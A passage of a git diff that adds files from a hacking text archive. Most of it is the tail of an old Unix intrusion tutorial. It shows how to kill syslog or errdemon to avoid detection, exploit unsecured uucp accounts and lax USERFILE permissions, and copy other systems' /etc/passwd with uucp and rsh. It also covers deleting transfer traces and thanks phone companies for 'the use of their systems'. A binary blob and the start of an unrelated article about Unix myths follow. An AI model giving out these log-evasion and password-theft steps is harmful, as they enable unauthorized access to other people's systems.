equipped with very little in the way +of accounting, it is easy to add your own security features to it. If you do +something wrong, such as attempting to log in under a superuser account +remotely only to see "not on console-goodbye", assume that a note is made of +the incident somewhere on the system. Never assume that something [anything!] +won't be noticed. And leave the system and its files exactly as you found them. +In short, just use a little common sense. + If you're a real klutze, you can turn off the error logging (if you +have root capabilities). I will include information on System V error logging, +which most Unix clones will have error logging facilities similar to, and on +Berkely Standard Distribution (BSD) Unix error logging. + +BERKELY (BSD) UNIX ERROR LOGGING +-------------------------------- +Type "cat /etc/syslog.pid". This file contains the +process number of the syslog (error logging) program. Kill this process, and +you stop the error logging. Remember to start the logging process back up after +you're through stumbling around. + If you want to see where the error messages are sent, type: + +cat /etc/syslog.config + +Entries are in the form: + +#file + +Such as: + +5/etc/errlogfile + +The number is the priority of the error, and the file is the file that errors +of that priority or higher are logged to. If you see an entry with /dev/console +as its log file, watch out! Errors of that priority will result in an error +message being displayed on the system console. Sometimes, a list of usernames +will follow an entry for errorlogging. This means that these users will be +notified of any priorities of that level or higher. +There are 9 levels of priority to errors, and an estimation of their +importance: + +9 -Lowly errors. This information is just unimportant junk used to debug + small errors in the system operation that usually won't affect its + performance. Usually discarded without a glance. + +8 -Usually just thrown away. These messages provide information on the + system's operation, but nothing particularly useful. + +7 -Not greatly important, but stored for informational purposes. + +6 -System errors which can be recovered from. + +5 -This is the priority generally given to errors caused by hackers- + not errors, but important information, such as security violatins: + bad login and su attempts, attempts to access files without proper + permissions, etc. + +4 -Errors of higher priority than 6. + +3 -Major hardware and software errors. + +2 -An error that requires immediate attention...very serious. + +1 -***<<<(((CRAAASSSHHH!!!)))>>>***- + +SYSTEM V ERROR LOGGING +---------------------- + System V error logging is relatively simple compared to Berkely Unix +error logging. The System V error logging program is errdemon. To find the +process id of the error logging program, type "ps -uroot". This will give you a +list of all the processes run under the root id. You will find /etc/errdemon +somewhere in the list. Kill the process, and no more error logging. The +errdemon program is not as sophisticated as BSD Unix's syslog program: it only +logs all errors into a file (the default file is /usr/adm/errfile, but another +file can be specified as an argument to the program when it is started). +Errdemon does not analyze the errors as syslog does, it simply takes them from +a special device file called /dev/error and dumps them into the error logging +file. If you wish to examine the error report, use the errpt program, which +creates a report of the errors in the error logging file and prints it out on +the stanard output. The format is: errpt [option] [error logging file]. For a +complete report of all errors, use the -a option: + +errpt -a /usr/adm/errfile + +The output is very technical, however, and not of much use to the hacker. + +UUCP NETWORKING +--------------- + This section will cover the workings and use of the Unix uucp +facilities. UUCP stands for Unix to Unix Copy. The uucp utilities are for the +exchange of files between Unix systems. There also facilities for users to dial +out and interact with remote systems, and for executing limited commands on +remote systems without logging in. + +OUTWARD DIALING +--------------- + The command for outward dialing is cu. The format is: + +cu -n[phone number] + +Such as: + +cu -n13125285020 + +On earlier versions of Unix, the format was simply "cu [phone number]". + +Note, that the format of the phone number may be different from system to +system- for instance, a system that dials outward off of a pbx may need to have +the number prefixed by a 9, and one that uses an extender may not need to have +the number (if long distance) preceded by a 1. To dial out, however, the system +must have facilities for dialing out. The file /usr/lib/uucp/Devices (called +L-devices on earlier systems) will contain a list of the available dialout +devices. Entries in this file are in the format: + +[device type] [device name] [dial device] [linespeed] [protocol, optional] + +Device type is one of 2 types: ACU and DIR. If ACU, it is a dialout device. DIR +is a direct connection to a specific system. Device name is the name of the +base name of the dialout device's device file, which is located in the /dev +directory. Dial device is usually an unused field. It was used on older systems +where one device (device name in the above example) was used to exchange data, +and another device (dial device, above) did the telephone dialing. In the age +of the autodial modem, this is a rarely used feature. The next, linespeed, is +the baud rate of the device, usually either 300, 1200, or 2400, possibly 4800 +or 9600 if the device is a direct connection. The protocol field is for +specifying the communications protocol. This field is optional and generally +not used. Here is an example entry for a dialout device and a direct +connection: + +ACU tty99 unused 1200 +DIR tty03 unused 9600 + +If a dialout device is capable of more than one baud rate, it must have 2 +entries in the Devices (L-devices) file, one for each baud rate. Note, that the +device in the above example is a tty- usually, dialout device names will be in +the form tty##, as they can be used both for dialing out, and receiving +incoming calls. The device can be named anything, however. + +There are several options worth mentioning to cu: +-s Allows you to specify the baud rate. There must be a device in the + Devices file with this speed. +-l Allows you to specify which device you wish to use. + +If you wish to connect to a system that there is a direct connection with, +simply type "cu -l[device]". This will connect you to it. You can also do that +do directly connect to a dialout device, from which point, if you know what +commands it accepts, you can give it the dial commands directly. + +Using the cu command is basically the same as using a terminal program. When +you use it to connect to a system, you then interact with that system as if you +dialed it directly from a terminal. Like any good terminal program, the cu +"terminal program" provides facilities for file transfers, and other commands. +Here is a summary of the commands: + +~. -Disconnect from the remote system. + +~! -Temporarily execute a shell on the local system. When you + wish to return to the remote system, press control-D. + +~![cmd] -Execute a command on the local system. Example: ~!ls -a + +~$[cmd] -Execute a command on the local system and send the output to + the remote system. + +~%put f1 f2 -Sends a file to the remote system. F1 is the name of the + file on the local system, and f2 is the name to be given the + copy made on the remote system. + +~take f1 f2 -Copies a file from the remote to the local system. F1 is + the name of the remote file, and f2 is the name to be given + to the local copy. + +Note, that the commands for transferring output and files will only work if you +are communicating with another Unix system. + You may be wondering how you can find out the format for the phone +number, which is necessary to dial out. The format can be obtained from the +file /usr/lib/uucp/Systems (called L.sys on earlier Unix systems). This file +contains the uucp network names and phone numbers of other Unix systems, as +well as other information about them. This file contains the information needed +to carry out uucp file transfers with the systems listed within it. The entries +are in the format: + +[system name] [times] [devicename] [linespeed] [phone number] [login info] + +System name is the name of the system. +Times is a list of the times when the system can be contacted. This field will +usually just have the entry "Any", which means that the system can be contacted +at any time. Never means that the system can never be called. You can also +specify specific days and times when the system can be contacted. The days are +abbreviated like this: +Su Mo Tu We Th Fr Sa +Where Su is Sunday, Mo is Monday, etc. If the system can be called on more than +one day of the week, you can string the days together like this:SuMoTu for +Sunday, Monday, and Tuesday. You can also specify a range of hours when the +system can be called, in the 24 hour format, like this: Su,0000-0100 means that +the system can be called Sunday from midnight to 1am. The week days (Monday +through Friday) can be abbreviated as Wk. +Device name is the name of the device to call the system with. If the system is +directly connected, this file will contain the base name of the device file of +the device which connects it to the local system. If the system has to be +dialed over the phone, this field will be "ACU". +Linespeed is the baud rate needed to connect to the system. There must be a +device available with the specified baud rate to contact the system. +Phone number is the phone number of the system. By looking at these entries, +you can obtain the format for the phone number. For instance, if this field +contained "913125285020" for an entry, you would know that the format would be +9+1+area code+prefix+suffix. +The login field contains information used for uucp transfers, and will be +discussed in detail later. + Sometimes you will see alphabetic or other strange characters in the +phone number field. Sometimes, these may be commands for the particular brand +of modem that the system is using to dialout, but other times, these may +actually be a part of the phone number. If so, the meaning of these characters +called tokens can be found in the file /usr/lib/uucp/Dialcodes (called +L-dialcodes on earlier systems). Entries in this file are in the form: + +token translation + +For example: + +chicago 312 + +Would mean that the token chicago means to dial 312. So, if the phone number +field of a Systems entry was: + +chicago5285020 + +It would mean to dial 3125285020. + +You can add an entry to the Systems file for systems that you wish to call +frequently. Simply edit the file using one of the Unix system's editors, and +add an entry like this: + +ripco Any ACU 1200 13125285020 unused + +And then any time you wished to call the BBS Ripco, you would type: + +cu ripco + +And the system would do the dialing for you, drawing the phone number from the +entry for Ripco in the Systems file. + +HOW UUCP TRANSFERS WORK +----------------------- + This section will detail how a uucp file transfer works. When you issue +the command to transfer a file to/from a remote system, the local system dials +out to the remote system. Then, using the information contained in the login +field of the Systems file, it logs into an account on the remote system, in +exactly the same manner as you would log into a Unix system. Usually, however, +uucp accounts use a special shell, called uucico, which implements certain +security features which (are supposed to) keep the uucp account from being used +for any other purpose than file transfers with another Unix system. (Note: not +ALL uucp accounts will use this shell.) If you've ever logged into the uucp +account on the system and received the message, "Shere=[system name]", and the +system wouldn't respond to any of your input, that account was using the uucico +shell, which prevents the account from being used as a normal "user" account. +The local system then requests the transfer, and if security features of the +remote system which will be discussed later do not prevent the transfer, the +file will be copied to (or from if you requested to send a file) the local +system. The account is then logged off of the remote system, and the connection +is dropped. + +ADDING A LOGIN FIELD TO A SYSTEMS ENTRY +-------------------------------------- + Many superusers feel that if the uucp account uses the uucico shell, +that it is "secure". Because of this, they may ignore other uucp security +measures, and probably not give the account a password. If you find such a +system, you can add an entry for the system to the Systems (L.sys) file of +another Unix system and try to, say, transfer a copy of its password file. To +do so, simply follow the outline in the section on cu for how to add an entry +to the Systems file. That will cover everything but how to add the login field, +which is covered in this section. + The login section consists of expect/sendsubfields. For example, here +is an example login field: + +ogin: uucp assword: uucp + +The first subfield is what is expected from the remote system, in this case +"ogin:". This means to expect the login prompt, "Login:". Note, that you do not +have to enter the complete text that the remote system sends, the text sent +from the remote system is scanned left to right as it is sent until the +expected text is found. The second subfield contains the local system's +response, which is sent to the remote system. In this case, the local system +sends "uucp" when it receives the login prompt. Next, the local system scans +the output from the remote system until it receives "assword:" ("password:"), +then sends "uucp" (the password, in this example, for the uucp account). +Because of line noise or other interference, when the local system connects to +the remote, it may not receive the expected string. For this possibility, you +may specify the expected string several times, like this: + +ogin:-ogin: uucp assword:-assword: uucp + +The - separates that if the expected string is not received, to expect the +string specified after the hyphen. Sometimes, you may need to send a special +character, such as kill or newline, to the system if the expected string is not +received. You can do that like this: + +ogin:-BREAK-ogin: uucp assword: uucp + +The -BREAK- means that if ogin: isn't received the first time, to send a break +signal to the remote system, and then expect ogin: again. Other common entries +are: + +ogin:-@-ogin: Send a kill character if the expected string isn't + received the first time. +ogin:-EOT-ogin: Send a control-D if the expected string isn't received. +ogin:--ogin: Send a null character if the expected string isnt' + received. + +If the system you wish to transfer files with doesn't send anything when you +first connect to it, (say, you have to press return first), the first expect +entry should be "" (nothing), and the first send field should be \r (a return +character). There are certain characters, like return, which are represented by +certain symbols or combinations of characters. Here is a list of these: + +\r -Return. +@ -Kill. +- -Null/newline character. +"" -Nothing. + +UNUSUAL LOGIN ENTRIES +--------------------- + Sometimes, the login entry for a system might contain more than just +fields to expect the login prompt, send the username, expect the password +prompt, and send the password. For instance, if you have to go through a +multiplexer to get to the system, the login field would contain a subfield to +select the proper system from the multiplexer. + Sometimes, on systems, that use the Hayes smartmodem to dial out, the +phone number field may be left unused (will contain an arbitrary entry, such as +the word "UNUSED"), and the dialing command will be contained in the login +field. For example: + +ripco Any ACU 1200 UNUSED "" ATDT13125285020 CONNECT \r ernumber: new + +So, when you try to transfer a file with a Unix system called "ripco": +"UNUSED" is sent to the Hayes smartmodem. Of course, this is not a valid Hayes +command, so it is ignored by the modem. Next, the system moves the login field. +The first expect subfield is "", which means to expect nothing. It then sends +the string "ATDT13125285020", which is a Hayes dialing comand, which will make +the modem dial 13125285020. When the string "CONNECT" is received (which is +what the smartmodem will respond with when it connects), the system sends a +carriage return and waits for the "Usernumber:" prompt. When it receives that, +it sends "new". This completes the login. + +UUCP SYNTAX +----------- + Once you've completed an entry for the Unix system you wish to transfer +files with, you can issue the uucp command, and attempt the transfer. The +syntax to copy a file from the remote system is: + +uucp remote![file pathname] [local pathname] + +Where remote is the name of the system you wish to copy the file from, [file +pathname] is the pathname of the file you wish to copy, and [local pathname] is +the pathname of the file on the local system that you wish to name the copy +that is made on the local system. +To transfer a file from the local system to the remote system, the syntax is: + +uucp [local pathname] remote![file pathname] + +Where [local pathname] is the file on the local system that you wish to +transfer to the remote system, remote is the name of the remote system, and +[file pathname] is the pathname you wish to give to the copy to be made on the +remote system. + +So, to copy the ripco system's password file, type: + +uucp ripco!/etc/passwd /usr/spool/uucppublic/ripcofile + +Which will, hopefully, copy the password file from ripco into a file on the +local system called /usr/spool/uucppublic/ripcofile. The directory +/usr/spool/uucppublic is a directory set up especially for the reception of +uucp-transferred files, although you can have the file copied to any directory +(if the directory permissions don't prevent it). + +DEBUGGING UUCP PROCEDURES +------------------------- + So, what if your transfer did not go through? Well, this section will +detail how to find out what went wrong, and how to correct the situation. + +UULOG +----- + The uulog command is used to draw up a log of transactions with remote +systems. You can either draw up the entries by system name, or the name of the +user who initiated the transaction. +For our purposes, we only want to draw up the log by øÄsystem name. The format +is: + +uulog -s[system name] + +Now, this will pull up the logs for ALL transactions with this particular +system. We only want the logs for the last attempted transaction with the +system. Unfortunately, this can't be done, you'll just have to sort through the +logs until you reach the sequence of the last transaction. If the logs extend +back a long time, say about a week, however, you can use the grep command to +call up the logs only for a certain date: + +uulog -s[system] | grep mm/dd- + +Where mm is the month (in the form ##, such as 12 or 01) and dd is the day, in +the same form). This takes the output of the uulog command, and searches +through it with the grep command and only prints out those entries which +contain the date the grep command is searching for. The log entries will be in +the form: + +[username] [system] (month/day-hour:minute-pid) DESCRIPTION + +Where: + +username -Is the userid of the account that initiated the transaction. +system -Is the name of the system that the transaction was attempted + with. +month/day -Date of transaction. +hour:minute -Time of transaction. +job number -The transfer's process id. +DESCRIPTION -The log message. + +An example of a typical log entry: + +root ripco (11/20-2:00-1234) SUCCEEDED (call to ripco) + +In the above example, the root account initiated a transaction with the Ripco +system. The system was contacted on November 20, at 2:00. The job number of the +transaction is 1234. + +Here is an explanation of the various log messages you will encounter, and +their causes: + +1. SUCCEEDED (call to [system name]) + +The system was successfully contacted. + +2. DIAL FAILED (call to [system name]) + +Uucp failed to contact the system. The phone number entry for the system in the +Systems file may be wrong, or in the wrong format. + +3. OK (startup) + +Conversation with the remote system has been initiated. + +4. LOGIN FAILED + +Uucp was unable to log into the remote system. There may be an error in the +login field in the entry for the remote system in the Systems file, or line +noise may have caused the login to fail. + +5. WRONG SYSTEM NAME + +The system's entry in the Systems file has the wrong name for the system at the +phone number specified in the entry. + +6. REMOTE DOES NOT KNOW ME + +The remote system does not recognize the name of the local system, and will not +perform transactions with an unknown system (some will, some won't...see the +section on uucp security). + +7. REQUEST ([remote file] --> [local file] username) + +The file transfer has been requested. + +8. OK (conversation complete) + +The transfer has been completed. + +9. ACCESS DENIED + +Security measures prevented the file transfers. +If you get this error, you will receive mail on the local system informing you +that the transfer was denied by the remote. + +10. DEVICE LOCKED + +All the dialout devices were currently in use. + + + +A successful transaction log will usually look like this: + +root ripco (11/20-2:00-1234) SUCCEEDED (call to ripco) +root ripco (11/20-2:01-1234) OK (startup) +root ripco (11/20-2:01-1234) REQUEST (ripco!/etc/passwd --> /ripcofile root) +root ripco (11/20-2:03 1234) OK (conversation complete) + + When an error occurs during a transfer with a system, a status file is +created for that system, and remains for a set period of time, usually about an +hour. During this time, that system cannot be contacted. These files, depending +on which version of Unix you are on, will either be in the directory +/usr/spool/uucp, and have the form: +STST..[system name] +or will be in the directory /usr/spool/uucp/.Status, and have the same name as +the system. These status files will contain the reason that the last transfer +attempt with the system failed. These files are periodically purged, and if you +wish to contact the system before its status file is purged, you must delete +its status file. +The files containing the failed transfer request will also remain. If you are +using the latest version of System V, these files will be in a subdirectory of +the directory /usr/spool/uucp. For instance, if the system is called ripco, +the files will be in the directory /usr/spool/uucp/ripco. On other systems, +these files will be in the directory /usr/spool/uucp/C., or /usr/spool/uucp. +These files are in the form: + +C.[system name]AAAAAAA + +Where [system name] is the name of the system to be contacted, and AAAAAA is a +the transfer's uucp job number. (You can see the transfer request's job number +by specifying the j option when you initiate the transfer. For example, +"uucp -j ripco!/etc/passwd /usr/spool/uucppublic/ripcofile" would initiate the +transfer of the ripco system's password file, and display the job number on +your screen.) Type "cat C.system[jobnumber]", and you will see something like +this: + +R /etc/passwd /usr/pub/.dopeypasswd root -dc dummy 777 guest + +On earlier versions of Unix, these files will be in the directory +/usr/spool/uucp/C. To find the file containing your transfer, display the +contents of the files until you find the proper one. If your transfer fails, +delete the transfer request file and the status file, correct any errors in the +Systems file or whatever, and try again! + +UUCP SECURITY +------------- + Obviously, uucp access to files has to be restricted. Otherwise, +anyone, from any system, could copy any file from the remote system. This +section will cover the security features of the uucp facilities. + The file /usr/lib/uucp/USERFILE contains a list of the directories that +remote systems can copy from, and local users can send files from to remote +systems. The entries in this file are in the format: + +[local user],[system] [callback?] [directories] + +Where: + +local user -Is the username of a local account. This is for the purpose + of restricting which directories a local user can send files + from to a remote system. +system -Is the name of a remote system. This is for the purpose of + restricting which directories a specific remote system can + copy files from. +callback? -If there is a c in this field, then if a transfer request is + received from the system indicated in the system field, then + the local system (in this case, the local system is the system + which receives the transfer request, rather than the system + that initiated it) will hang up and call the remote back (at + the number indicated in the remote's entry in the local's + Systems file) before starting the transfer. +directories -Is a list of the pathnames of the directories that the remote + system indicated in the system field can copy files from, or + the local user indicated in the local user field can send files + from to a remote system. + +A typical entry might look like: + +local_dork,ripco - /usr/spool/uucppublic + +This means that the user local_dork can only send files to a remote system +which are in the directory /usr/spool/uucppublic, and the remote system ripco +can only copy files from the local system that are in the directory +/usr/spool/uucppublic. This is typical: often, remotes are only allowed to copy +files in that directory, and if they wish to copy a file from another portion +of the system, they must notify a user on the system to move that file to the +uucppublic directory. When a transfer request is received from a remote system, +the local system scans through the userfile, ignoring the local user field (you +can't restrict transfers with a particular user from a remote system...the copy +access granted to a system in the USERFILE is granted to all users from that +system), until it finds the entry for that system, and if the system is allowed +to copy to or from that directory, the transfer is allowed, otherwise it is +refused. If an entry for that system is not found, the USERFILE is scanned +until an entry with a null system name (in other words, an entry with no system +name specified) is found, and the directory permissions for that entry are +used. If no entry is found with a null system name, the transfer is denied. +There are a few quirks about USERFILE entries. First, if you have copy access +to a directory, you also have copy access to any directories below it in the +system tree. Thus, lazy system operators, rather than carefully limiting a +system's access to only the directories it needs access to, often just give +them copy access to the root directory, thus giving them copy access to the +entire system tree. Yet another mistake made by careless superusers is leaving +the system name field empty in the entries for the local users. Thus, if a +system that doesn't have an entry in the USERFILE requests a transfer with the +local system, when the USERFILE is scanned for an entry with a null system +name, if the entries for the local users come first in the USERFILE, the system +will use the first entry for a local user it finds, since it has a null system +name in the system name field. Note, that none of these security features even +works if the uucp account on the system the transfer is requested with does not +use the uucico shell. In any case, whether the account uses the uucico shell or +not, even if you have copy access to a directory, individual file or directory +protections may prevent the copying. For information on uucp security in yet +another version of the uucp facilities, see the piece on the Permissions file +in the section on uux security. + +EXECUTING COMMANDS ON A REMOTE SYSTEM +------------------------------------- + There are 2 commands for executing commands on a remote system- uux and +rsh (remote shell- this has nothing to do with the rsh shell [restricted Bourne +shell]). This section will cover the uses of both. + +UUX +--- + The uux command is one of the uucp utilities. This is used, not for +file transfers, but for executing non-interactive commands on a remote system. +By non-interactive, I mean commands that don't request input from the user, but +are executed immediately when issued, such as rm and cp. The format is: + +uux remote!command line + +Where remote is the name of the remote system to perform the command on, and +the rest (command line) is the command to be performed, and any arguments to +the command. You will not receive any of the commnand's output, so this command +can't be used for, say, printing the contents of a text file to your screen. + +UUX SECURITY +------------ + If the uucp account on the remote system uses the uucico shell, then +these security features apply to it. + + The file /usr/lib/uucp/Commands file contains a list of the commands a +remote system can execute on the system. By remote system, in this case, I mean +the system that the user who initiates the uux command is on, and local system +will mean the system that receives the uux request. Entries in the file +/usr/lib/uucp/Commands are in the following format: + +PATH=[pathname] +command +command + " to infinity... +command,system + +The first line, PATH=[pathname], sets the searchpath for the remote system +requesting the uux execution of a command on the local system. This entry is +just the same as, say, a line in a login file that sets the searchpath for a +regular account, example: PATH=/bin:/usr/bin +Which sets the searchpath to search first the directory /bin, and the the +directory /usr/bin when a command is issued. The following entries are the base +names of the programs/commands that the remote can execute on the local system. +The last program/command in this list is followed by a comma and the name of +the remote site. For example: + +PATH=/bin +rmail +lp,ripco + +Means that the remote system Ripco can execute the rmail and lp commands on the +local system. Usually, only the lp and rmail commands will be allowed. + Again, we come to another, "different" version of the uucp facilities. +On some systems, the commands a remote system can execute on the local system +are contained in the file /usr/lib/uucp/Permissions. Entries in this file are +in the form: + +MACHINE=[remote] COMMANDS=[commands] REQUEST=[yes/no] SEND=[yes/no] READ= +[directories] WRITE=[directories] + +Where: + +Remote is the name of the remote system. Commands is a list of the commands +the remote may execute on the local system, in the form: +pathname:pathname + +For example: + +/bin/rmail:/usr/bin/netnews + +The yes (or no) aft er "REQUEST=" tells whether or not the remote can copy +files from the local system. The yes/no after "SEND=" tells whether or not the +remote system can send files to the local system. The list of directories after +"READ=" tells which directories the remote can copy files from (provided that +it has REQUEST privileges), and is in the form: + +pathname:pathname...etc. + +For example: + +/usr/spool/uucppublic:/usr/lib/uucp + +Again, as before, the remote has copy access to any directories that are below +the directories in the list in the system tree. The list of directories after +"WRITE=" is in the same form as the list of directories after "READ=", and is a +list of the directories that the remote can copy files TO on the local system. + +RSH +--- + This is a new feature which I have seen on a few systems. This is not, +to the best of my knowledge, a System V feature, but a package available for +3rd party software vendors. If the rsh command is featured on a system, the +restricted (rsh) Bourne shell will be renamed rshell. Rsh stands for remote +shell, and is for the execution of any command, interactive or otherwise, on a +remote system. The command is executed realtime, and the output from the +command will be sent to your display. Any keys you press while this command is +being executed will be sent to the remote system, including breaks and +interrupts. The format is: + +rsh [system] command line + +For example: + +rsh ripco cat /etc/passwd + +Will print out the /etc/passwd file of the Ripco system on your screen. To the +best of my knowledge, the only security features of the rsh command are the +individual file and directory protections of the remote system. + +UUNAME AND UUSTAT +----------------- + These are 2 commands which are for use by users to show the state of +the local system's uucp facilities. Uuname gives a list of all the system names +in the Systems (L.sys) file, and uustat gives a list of all pending uucp/uux +jobs. + +NETWORK MAIL +------------ + There are several different ways of sending mail to users on other +systems. First of all, using the uucp and uux commands. Simply edit a text file +containing the message you wish to send, and uucp a copy of it to the remote +system. Then send it to the target user on that system using the uux command: + +uux system!rmail [username] < [pathname] + +Where system is the name of the system the target user is on, username is the +name of the user you wish to send the mail to, and pathname is the pathname of +the text file you sent to the remote system. This method works by executing the +rmail command (Receive Mail), the syntax of which is "rmail [user]", and +redirecting its input from the file you sent to the remote. This method will +only work if the remote allows users from your local system to execut the rmail +command. + The second method is for systems which feature the remote shell (rsh) +command. If the remote system can be contacted by your local system via rsh, +type: + +rsh system!mail [user] + +And once connected, enter your message as normal. + This last method is the method of sending mail over uucp networks. This +method is the one employed by USENET and other large uucp networks, as well as +many smaller and/or private networks. This method uses the simple mail command: + +mail system!system!system![and so on to infinity]!system@user + +Where: +The list of systems is the routing to the target system, and user is the mail +recipient on the target system. The routing takes a bit of explanation. Imagine +something a uucp network with connections like this: + + unix1 + | + ------------------- + | | + unix2 unix3 + | | + unix4-------------unix5 + +This network map shows what systems are on the network, and which systems have +entries for which other systems in its Systems (L.sys) file. In this example: + +Unix1 has entries for unix2 and unix3. +Unix2 has entries for unix1 and unix4. +Unix3 has entries for unix1 and unix5. +Unix4 has entries for unix2 and unix5. +Unix5 has entries for unix3 and unix4. + +Now to explain the routing. If unix1 wanted to reach unix5, it couldn't do so +directly, since it has no means of reaching it (no entry for it in its Systems +file). So, it would "forward" the mail through a series of other systems. For +example, to send mail to the user root on unix5, any of these routings could be +used: + +unix3!unix5@root +unix2!unix4!unix5@root + +Obviously, the first routing would be the shortest and quickest. So, to mail a +message from unix1 to the root user on unix5, you would type: + +mail unix3!unix5@root + +Then type in your message and press control-D when finished, and the uucp +facilities will deliver your mail. + +ACKNOWLEDGEMENTS +---------------- + Well, this is it- the end of the file. I hope you've found it +informative and helpful. Before I go on, I'd like to thank a few people whose +assistance made writing this file either A: possible or B: easier- + +Shadow Hawke I, for sharing many a Unix account with me. +The Warrior (of 312), for helping me get started in hacking. +Omega-- for helping me hack a large network of Unix systems. +Psychedelic Warlord, for helping me with a BSD Unix system. +Shooting Shark, for his C decoy, and more than a few good posts on Private +Sector. +Kid&Co, for providing me with some information on the Telnet program. +And lastly but not leastly, Bellcore, Southern Bell, and BOC's around the +country for the use of their systems. Thanks, all! + + + \ No newline at end of file diff --git a/textfiles.com/hacking/UNIX/unixinfo.hac b/textfiles.com/hacking/UNIX/unixinfo.hac new file mode 100644 index 0000000000000000000000000000000000000000..6f401b50e41290495063fa16d823c06c10a380aa GIT binary patch literal 3072 zcmcIm$&%x^5%mx7AF@xQicrbj<2l%UaX=I#Vv3syvKHSU2`Vv~A`~R6+xmOI1gUA2 zd%|-X)u8|)k$Abi%peHp=2x}#e@I{Y!JcSo`g+&X_CmwaQfa$W-I@lA-Lb8AwP_bY z@MN22UJpM(%-WU=eLL2TrM_-=mJ~InAIO}~)^v7Hv%00!exn!HeYqpk?jbQ8>-Gz= zhQMsy+dxBo;+x+(H$acW#vSN%p+nv7>-M!@Eby#qhtBQac0=vj&lI}T3EKJ~u>G#9 z&*RtfSohRhFGG8Ovb8;(-?mM?Yc6DVJKOj57I1fy0s=tOoR4N}hkD13aoyf_i_mt1 z!P&m<2Uy1Xdxmv>>&~vX1ncNz_LlFnua4Gute=A*49hH~d(x#SO3Df>vYhmbE@eU@ z46`aNRl1>-C)7xY5;eycaChGFBN5$Hk@)c?4;%1F~|` zAA~EVA6Q8!iV)HA~_K ztf*ksc;){Ar{xPlvLLnk9IO(l*@Vff-=7kjG}9#<1_8EQQ<+gA#ftH&f@D!3P;s{T z5Ulh=7%^D+EE1K<(UY^zx#8~j9V+5DgO}MqDqUwZJDKxcu&RX>AfJ{+M$gdyOzO9^90QhC$x;?`Hrv0b zDUxwM8bS!ilsF+GgfxuBQpRfyO@5_GOqNy4`%!WcBoAI75f7-2Tf=e0g*&Hb|AP|0 z_x>A0#DROssscHjsZcIvM~lC^AkiCsbHeg#l|J}5EwfFfDG@4$<2(Z_7PD99_H=Fx zsC01P%htUyt$KzryD#(Y<;vYBQ#T+-@NZ*>!FDWfzuNBNTJYycO1)=w(5FWNEHGls z1CM>8g)1_gpgIx2AYF%9!Z{1rV{LIxtwkugY`DVHtd#nun(@YLKx6Po@vJ+85z!(H zUGe&kb8?+)A$u3(oQY6BCdv(I;FXfo?_X8M=ekM~QK)}UNtivQve1#rHCoGoF7Az9 z?SN*&It#hX{H19z#T3w73-*UR{D>|9>OMHvps%16fz`dkAn*-M3O&ogiu;hgHTTea6Ms{mh6$M9fc5?grP}}`{OiRjg(1dS9qdB*MnxZ_}$z+U( z=%^}J2moFS;|%2NH#ea}KzX-e<|!2y`>eN?I=cmTlG(bi-me__IcR0dfZwUEuVd0 zT*iAfm3y*34XT`NfKZe@p);Ui-dV-Chlt~p$hZ_{vslPtAW}uTrL0;|xM##N9153X{Nl&VbnAC6&qZS4~Uoj{e zW~4*iVb;6OTNsWEMk35tUopkmuEyjA9*Tf?uL;slTt{5 z#rk@<@VKQKkesXgIggI~X6U-JAH-z)TDKOGL1B9go4X^$X6rgLz$Cy$r9fjn0I{X_ zN<-7s2iLW=p?|)gh5Z0&I!uBX5djNNn1%<(>pTmC5{p5!wZnXA8cePZY?7Gn(g5LY y2@(D6E#x)-0{Y9J{`)Vaol|B2 literal 0 HcmV?d00001 diff --git a/textfiles.com/hacking/UNIX/unixmyth.txt b/textfiles.com/hacking/UNIX/unixmyth.txt new file mode 100644 index 00000000..d788a0d0 --- /dev/null +++ b/textfiles.com/hacking/UNIX/unixmyth.txt @@ -0,0 +1,229 @@ +THE MYTHS OF UNIX + +IS UNIX REALLY THAT BAD? IF NOT, THEN WHY IS IT SO SUCCESSFUL? + +REPRINTED FROM THE FOURGEN UNIX JOURNAL + + FOR YEARS NOW, WE'VE HEARD A LOT OF CRITICISM OF UNIX. WE'VE HEARD THAT +IT'S NON-STANDARD. IT'S TOO SLOW. IT'S TOO HARD TO USE. THERE ARE NO +APPLICATIONS THAT RUN UNDER IT. IT WILL BE REPLACED BY PICK, VM, CONCURRENT +DOS, OS/2, NETWORKS. THE LIST GOES ON AND ON. + MEANWHILE, EVERY MAJOR COMPUTER MANUFACTURER HAS BEEN RELEASING NEW +MACHINES THAT RUN UNDER UNIX. SEVERAL COMPANIES HAVE CONVERTED THEIR ENTIRE +COMPUTER LINE OVER TO UNIX-BASED HARDWARE. SOFTWARE COMPANIES THAT SELL UNIX +PRODUCTS ARE AMONG THE FASTEST GROWING IN THE SOFTWARE INDUSTRY. MORE AND MORE +MAJOR SOFTWARE MAKERS ARE RELEASING UNIX VERSIONS OF THEIR POPULAR PRODUCTS. +ACCORDING TO HARDWARE MANUFACTURERS, 15% OR MORE OF ALL NEW 386 SYSTEMS ARE +BEING SOLD TO SUPPORT UNIX OR XENIX. + IF THE CRITICS ARE CORRECT, THE MARKET MUST BE CRAZY. THE DISPARITY +BETWEEN WHAT WE'VE HEARD ABOUT UNIX AND WHAT IS HAPPENING IN THE MARKETPLACE +SHOULD MAKE US WONDER. IF UNIX IS SO BAD, WHY IS IT SO SUCCESSFUL? OR, TO +TAKE IT FROM ANOTHER ANGLE, WHY HAS UNIX BEEN SO MALIGNED DESPITE ITS +ACCEPTANCE IN THE MARKETPLACE? + +WHY CRITICISM ABOUNDS + + FIRST, LET ME MAKE MY POSITION CLEAR. MOST OF THE CRITICISM THAT'S HEARD +ABOUT UNIX IS SIMPLY INCORRECT. IT IS IGNORANCE PASSING AS INFORMATION. IN +THIS ARTICLE WE SHALL DISCUSS MANY OF THESE POPULAR MYTHS ABOUT UNIX, BUT FIRST +LET US CONSIDER WHY CRITICISM IS SO PLENTIFUL. + I GROUP UNIX CRITICS INTO THREE DIFFERENCE CATEGORIES. + FIRST, THERE ARE THE EXPERTS WHO ARE UNCOMFORTABLE WITH ANYTHING OUTSIDE +THEIR EXPERTISE. WHEN THIS TYPE OF PERSON ENCOUNTERS A NEW ENVIRONMENT, THEIR +NATURAL TENDENCY IS TO LOOK FOR ITS FLAWS. SINCE SO MANY OF TODAY'S "EXPERTS" +GREW UP IN THE SINGLE-USER MS-DOS WORLD, THEY HAVE LITTLE EXPERIENCE WITH THE +TYPE OF ENVIRONMENT REPRESENTED BY UNIX. WHEN THEY ARE EXPOSED TO IT, THEY ARE +INTIMIDATED AND, THEREFORE, CRITICAL. + NEXT, WE HAVE COMPETITORS. THESE CRITICS ARE SELLING PRODUCTS THAT +COMPETE WITH UNIX AND THEY ARE GOING TO FOCUS THE DEBATE ON THE WEAKNESSES OF +THEIR COMPETITION. SINCE UNIX DOESN'T HAVE AN ORGANIZED 